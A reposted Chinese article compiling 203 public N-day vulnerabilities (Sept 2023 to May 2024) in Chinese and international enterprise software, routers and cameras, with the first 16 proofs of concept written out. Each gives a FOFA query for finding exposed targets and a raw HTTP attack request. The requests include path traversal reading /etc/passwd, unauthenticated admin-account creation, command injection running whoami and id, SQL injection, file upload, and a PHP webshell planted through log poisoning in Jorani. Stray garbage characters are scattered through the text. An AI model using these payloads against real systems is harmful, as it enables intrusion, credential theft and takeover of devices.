互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
1 U) \( `3 H+ x/ S7 a/ `( ~道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
+ x+ z! R& Z5 k- K$ m
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
9 b3 h) J' i! s& D8 N1 _
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

/ e+ d$ T9 p- N3 i# P文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

; ^, j8 g& a0 S% u& F2 h: a: f合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


! `  e) p2 M; [- n4 {声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
5 r8 s2 }3 y0 ~2 N
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
  B* U# {# R1 o8 |6 D$ U( K' N
0 d6 e% x/ o" Z) ]0 f0 g% K

4 P7 i4 I% ~& `* J  Q目录

01

1. StarRocks MPP数据库未授权访问
- [9 r6 X/ a# ~5 H( z& o$ M( F2. Casdoor系统static任意文件读取
' t: t# l1 c7 q: T: D  V& A. `3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
" A, |$ w5 l5 D5. NUUO NVR 视频存储管理设备远程命令执行
, l+ D8 v- A- b- a. _6. 深信服 NGAF 任意文件读取
; v! {5 o1 k% Y* _7. 鸿运主动安全监控云平台任意文件下载
/ [& N8 o4 o$ e' }( _0 H% K8. 斐讯 Phicomm 路由器RCE
' w0 l" C7 ?/ Z" X! c( I, A9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
! ]5 ~( x4 k8 W11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
, b0 _/ q% b5 X' p( \  T3 k! g- y12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
; L2 Y- ~  _1 C14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
8 H1 r9 c2 G# C$ y4 u7 c5 u16. 红帆HFOffice医微云SQL注入
" ?$ d; S2 T6 v17. 大华 DSS itcBulletin SQL 注入
3 `2 U* C& k1 v18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
) O9 k6 Q1 g$ A20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
+ m1 `5 K, \1 ?# J  M- t) Q32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
! {# ]3 c5 O% A% ]34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
  x- q/ \; B1 c/ Z2 H( D3 `42. 用友GRP-U8 SmartUpload01 文件上传
% T( F! ?, R" @: R) c43. 用友GRP-U8 userInfoWeb SQL注入致RCE
, y1 h. ^# Z' _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
6 P+ A% G+ e6 ^0 N6 D; _46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
! ?$ H2 G# ]/ R% K$ J& M' @& i49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* U/ E& z# S) i52. 泛微E-Office json_common.php sql注入
2 \  G: F; A( a3 ~/ C! h$ C0 Z53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
% @* F; `3 S& i# ^% O* J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
; n* q! T6 Z2 c% @# R1 T- \  w" J58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
( ~8 b; |; o# ?# H60. 百卓Smart管理平台 importexport.php SQL注入
2 P: [- }- i* @7 n7 w# f61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
$ G- v, b0 e8 _0 L62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
6 m# Q& [, r; \" o  z65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
7 B  j+ i1 V3 u0 i, _6 ~  l66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
+ s' D5 Q7 ?0 A5 @: H4 r! R67. 万户ezOFFICE wpsservlet任意文件上传
  l0 Q- n0 s% h3 X5 J' i% t  T68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 T1 @- Q; @# a) ~4 J72. 致远OA getAjaxDataServlet XXE
: I5 d  v% _+ L+ o7 T. N3 D73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
' r; S" Z( ~: I5 `6 `2 P5 ^78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
  {. A, d. a* E) |  M# Z6 @80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
3 }0 K2 V. H" H' X81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 z+ _5 v" Z4 w. s2 f0 [82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
( r; |  ~4 P% T8 }4 }: b% C83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. D- f* Q9 i& B+ R2 X8 X85. SysAid On-premise< 23.3.36远程代码执行
0 `" }( A; I# D& M1 a/ ]* [( x. I$ |86. 日本tosei自助洗衣机RCE
+ A$ X$ Y: ?( J87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
" w# _* r- v9 t9 V( X: E( j91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
0 u) Y: Q, x7 Y7 [8 J& O, I5 }92. 海康威视运行管理中心session命令执行
1 Q# O& a2 o9 t9 t93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
8 t0 Y5 O" D9 R2 O8 A. P94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
) i& g6 d7 w, J6 C0 p  i95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
& h! ?# F7 r$ L, M99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
  g% ~6 y4 }2 f101. ivanti policy secure-22.6命令注入
0 @' d5 e* E8 U! i102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
# C0 R  b/ I- y7 D& g103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
; [  g. I5 j' o: _% s106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
! y; n; n* Y6 x- g( m2 \$ }109. Jenkins CLI 任意文件读取
# Z3 H5 q# D6 U5 T" m: ?110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
0 J$ I1 d% `1 @2 t+ D/ k% t- I112. WordPress Plugin NotificationX SQL 注入
9 f8 Y+ r7 J' @7 X: p( d113. WordPress Automatic 插件任意文件下载和SSRF
8 b/ o( [( q- z( @1 w114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
0 I+ h) ?1 ~) {4 n116. wordpress js-support-ticket文件上传
1 t6 H3 ~8 {$ S. @5 p117. WordPress LayerSlider插件SQL注入
3 u5 d( _  {8 R: e118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
6 e* ~/ k, l" f" ]  Y% w' j119. 北京百绰智能S20后台sysmanageajax.php sql注入
( N1 b. D1 o7 R. b9 V5 U120. 北京百绰智能S40管理平台导入web.php任意文件上传
) C( H9 d3 {! n121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 @# @+ O3 k$ U4 `7 u  T122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
: r/ g" m4 n) ~1 P3 `126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
% h6 D7 o  T" G- V* p5 W8 C  m* [128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
* F" U, u5 f  R6 E/ o# G, G, F132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
8 m4 w1 p! ^( W- P# |" n133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
& u5 Y: a* M1 r4 c) ^8 o138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
  D" x5 X6 F" X142. CMSV6车辆监控平台系统中存在弱密码
. u$ Y, {8 i& l: D/ x143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 v1 p4 R5 b7 W146. MajorDoMo thumb.php 未授权远程代码执行
$ G1 b6 ~2 X6 Y  D# Q147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# v8 z3 P" c+ w$ a' t6 T' {148. CrushFTP 认证绕过模板注入
* b/ ]% p9 I  l149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
8 ?- V  ]. Y: L) P" ?, p( ]152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
2 g7 N2 x8 a8 ?' |# {154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
% ?' t. t; K4 n8 F1 p6 B158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
! S, d2 o! [% @1 T4 @# I1 F% Q- h163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
- q/ J- R$ Z( G( D2 E165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
% T/ L7 U4 w# o" j168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
' ^2 j$ P* w) [% S, v# P173. Check Point 安全网关任意文件读取
4 N( W- x- e( O' c174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
' y. V! Y. C* _4 S7 D8 x183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
9 Y- X8 Q, k& m% D0 F185. 瑞友天翼应用虚拟化系统SQL注入
. F4 W: j6 F+ B186. F-logic DataCube3 SQL注入
" V5 i5 I% M6 F8 F187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
% e* f: h  A/ Q# v- x4 q190. 短视频矩阵营销系统 poihuoqu 任意文件读取
) V2 I/ v+ O" V( S8 ^191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
( I. O$ d" N1 v, S" A192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
! K/ [& ^4 o/ Q+ ~193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
3 p8 N1 ~3 s" e+ e5 ~195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
4 v0 Z6 y: Z; C, g2 S: B196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
/ g4 v' ^+ D/ f- v198.  阿里云盘 WebDAV 命令注入
% z$ Y7 _4 [% r& q" ]: a$ a199. cockpit系统assetsmanager_upload接口 文件上传
7 K# U* G8 h) U1 Y9 t200. SeaCMS海洋影视管理系统dmku SQL注入
: @4 {& Z# K$ v1 C  K201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
0 w" h4 V2 k3 v% g203. 红海云EHR PtFjk 文件上传
6 e$ S% N: M: K6 E% f: L
POC列表
' l+ ~8 f$ s) H4 T! R5 \* D  [
02

3 D) e+ d( S: \, a/ X6 p& D; @7 O1. StarRocks MPP数据库未授权访问
8 z# Y( p1 W6 w, [( ]( F  BFOFA ：title="StarRocks"
3 c4 q  T/ z# SGET /mem_tracker HTTP/1.1
' e* h+ q* g3 L7 _0 Q" {% nHost: URL

- ?* o; i2 `. X$ K
0 B. ?* d0 |2 O2 ]2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
8 {* g) X3 f* ?GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
8 |* N( G  J) hUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 q$ \' D7 |6 j; O/ d2 w  H) `0 M* nConnection: close
1 S. b: o* t: c3 aAccept: */*
Accept-Language: en
* [6 @6 l# ~/ t$ ?/ KAccept-Encoding: gzip
( R( [4 L- |$ e6 [/ @% S' _9 s! I
( K  F0 E9 U  X# l+ F' @& c
/ M& H) s. t& a7 n3. EasyCVR智能边缘网关 userlist 信息泄漏
6 F2 A, [% x, z' m  E1 r2 w4 [FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
, S# T, f/ s- D. m) H# B

3 @' B2 @% T7 w8 `( V4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

) l3 m, y6 o  N- E' e/ g/ _password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
- f4 M0 R8 X6 z5 [6 J* bHost: your-ip
% I" ?; B8 Y0 d" w) HContent-Type: application/x-www-form-urlencoded; charset=UTF-8

/ q1 n$ A# m5 ]& D- U; Yname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
. M# y" s1 H8 y  [3 Z. qHost: xx.xx.xx.xx
6 a$ S% ]! T1 U$ u' _4 E/ X+ I  X. p
" d6 N9 D# j& ~$ X3 D' V0 d$ U7 ]4 E3 n
7 P' W# ]) \# ?6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
* b. l* n0 u9 T$ S3 ZHost:

4 W* _- n' t  D  V
, l4 V. ~* `7 n# z7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
* i1 O/ _# Z) R& ^& v1 y* GHost:


8. 斐讯 Phicomm 路由器RCE
6 P$ i% z( e9 p" J" o' bFOFA：icon_hash="-1344736688"
7 x% o; X. j6 a9 G# S' n默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
6 }) f/ `# ]) X3 dHost: x.x.x.x
* O4 @$ p: U* R0 F. u9 U; FCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
* k# m' B8 P; z1 CUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
& n3 Y( F# B* p1 A: q1 J
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
; Y6 O5 K5 g- q* |
  v7 L+ w9 c) y; B%s
7 G0 T# r4 {4 G' M* M/ w------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

3 ^; [; W" p7 ^# X12:00; id;
4 B5 D2 H( V$ l' S: G  B: K5 X------WebKitFormBoundaryxbgjoytz
5 I( B( N5 _2 eContent-Disposition: form-data; name="wifiRebootendrange"
! O% @  i! x7 u$ T
%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
5 D  Z0 S) ?1 a5 G3 C" l& ?+ Q
$ @0 m! l2 [" S, B9 l# m' E
  M/ F+ p- G. c9 `" q------WebKitFormBoundaryxbgjoytz--
, y* m: Y/ `, A% `2 ^
5 L. t5 o- x- m( J: Q
9. 稻壳CMS keyword 未授权SQL注入
- N/ ?1 m5 m& {& k2 g* G. q9 sFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
, p0 I: C, {0 I5 ]7 q6 ]Host: x.x.x.x

  k! ~6 s! p5 }- V5 j0 n; U9 k7 f
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

; X( q' t' r! u) C. t& r10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
. C  K6 L) }+ _/ I# J% YFOFA：icon_hash="953405444"
4 ~/ z4 m7 I# j* ^
4 b/ Z$ T+ y: q5 Q' \文件上传后响应中包含上传文件的路径
  q4 W  l4 a; W6 N8 u* DPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 ]8 Y/ x. b) E( w) z6 @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ T1 P0 X1 ~2 ]. G- p* kContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
0 p4 J4 V  F% {7 {
( w4 j5 B4 ?. Q* N, O3 F( L------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
3 R) B% j3 w5 \Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

) _/ ?+ @( X2 q; t9 n
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
( z: f. t/ X8 |! d2 mFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
" E' d! N! k( E2 `; }8 f5 D4 OHost: 127.0.0.1
: H: k% \! X6 @6 p) MPragma: no-cache
, q! K" u+ _* a9 BCache-Control: no-cache
% _9 h) h" M/ N% H7 f) P% `. CUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" }* y# ?0 f) l; Y- [: ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

4 x- V8 G& @4 R2 d/ A
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
/ g/ i3 @0 `7 [1 T$ oHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
% E5 N2 @* p& l( \Accept-Encoding: gzip
; g. V7 Q, F- Y

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
% L3 Q( B: i% r7 K. |Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
! h: o" J. [1 z. e! l1 q9 f6 [0 F9 iVary: Accept-Encoding

9 X' U. F: J$ R5 b  B/ @$ a6 @
POST请求，执行函数并进行base64编码
7 j- s/ h+ S0 n& p+ HPOST /session/login HTTP/1.1
: b. @- U( o: a! m% f1 _& pHost: 192.168.190.30
7 I5 U' P, c( ?' Y: t# `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
1 c$ w! \) l) b! _5 Z: ]* pContent-Length: 252
Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

$ ?! |, e8 h3 ]0 F6 `# ]+ h' }0 Zcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

  ^; [$ k, \4 d$ B5 k4 y

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
- l, |4 ^& [' _4 Y% ?5 V7 {9 ^) _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
. n& L* Z' @$ t# V4 s' S* T/ K$ iCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
$ p+ O0 ^% C9 q0 z% s& c. u! j+ QX-REQUESTED-WITH: XMLHttpRequest
! {6 M% \% b4 O- y; JAccept-Encoding: gzip
& V6 l2 S9 o2 y, z

13. 红帆iOffice ioFileDown任意文件读取
5 ^+ A( \9 a, \FOFA：app="红帆-ioffice"
* b3 j$ [( `0 tGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- ]7 \; J* v+ ?& XConnection: close
Accept: */*
Accept-Encoding: gzip
; @: \( [/ _& y

) f: X, l9 R3 q1 V/ ^1 m3 j14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
. E4 [) H! m& Y* H' h泄露内容包括用户名密码
: [/ x' o" f3 B! S' C1 h# ~GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
8 ~2 Z$ }) w1 w' m4 @3 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
; z7 _  H7 L9 Z* B9 w: y) _Accept-Encoding: gzip
7 ~) n# ^) j/ z8 F/ S

15. 华夏ERP getAllList信息泄露
CVE-2024-0490
  v( ~/ H: J' q( Z7 LFOFA：body="jshERP-boot"
! z% V3 M7 q. w* t& K/ K3 H泄露内容包括用户名密码
6 X* ?* h! {/ J7 ^GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
0 a8 v1 y" e& n! Z8 {sec-ch-ua-platform: Windows
Accept-Encoding: gzip

" q" F* x1 f, t( b* ^/ s
7 n) y' Y( T: V+ T+ `16.  红帆HFOffice医微云SQL注入
) e& X$ s: w1 s( mFOFA：title="HFOffice"
2 }9 H% x0 U9 Q9 Q* U7 F3 ]poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) x3 ~0 {( `) z$ a& ?  nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
, T9 k& k. H  g* m0 J+ ~5 aConnection: close
2 t/ p; p7 r$ h. [Accept: */*
2 {: Q  Y: Q) b5 l8 ^5 l, @! mAccept-Language: en
& z+ _+ T2 B9 |0 NAccept-Encoding: gzip

